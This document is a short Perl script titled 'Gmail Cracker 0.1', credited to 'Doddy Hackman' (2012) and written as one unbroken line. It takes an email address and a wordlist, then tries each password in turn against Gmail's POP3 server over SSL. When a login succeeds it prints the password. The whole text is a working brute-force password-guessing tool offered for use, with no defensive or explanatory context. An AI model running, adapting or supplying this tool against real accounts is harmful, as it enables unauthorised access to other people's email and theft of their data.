#Gmail Cracker 0.1#Coded By Doddy H#http://search.cpan.org/~sdowd/Mail-POP3Client-2.18/POP3Client.pm#http://search.cpan.org/~sullr/IO-Socket-SSL-1.54/SSL.pm#ppm install http://www.open.com.au/radiator/free-downloads/Net-SSLeay.ppduse Mail::POP3Client;use IO::Socket::SSL;head();if($ARGV[0] and $ARGV[1]) {crackgmail($ARGV[0],$ARGV[1]);} else {print "\n[+] Sintax : $0 <email> <wordlist>\n";}copyright();sub crackgmail {my($user,$wordlist) = @_ ;unless(-f $wordlist) {print "\n[-] Wordlist not found\n";copyright();}print "\n[+] Loading wordlist\n";open(FILE,$wordlist);my @passwords = <FILE>;close FILE;print "\n[+] Words Found : ".int(@passwords)."\n";print "\n[+] Cracking...\n\n";for my $pass(@passwords) {chomp $pass;my $so = IO::Socket::SSL->new(PeerAddr=>"pop.gmail.com",PeerPort => 995,Proto => "tcp");my $nave = Mail::POP3Client->new();$nave->User($user);$nave->Pass($pass);$nave->Socket($so);if ($nave->Connect()) {print "\a\a\n[+] Email : $user\n";print "[+] Password : $pass\n";$so->close();$nave->close();copyright();}$so->close();$nave->close();}print "\n[+] Password not found\n";}sub head {print "\n\n-- == Gmail Cracker == --\n\n";}sub copyright {print "\n\n(C) Doddy Hackman 2012\n\n";exit(1);}# The End ?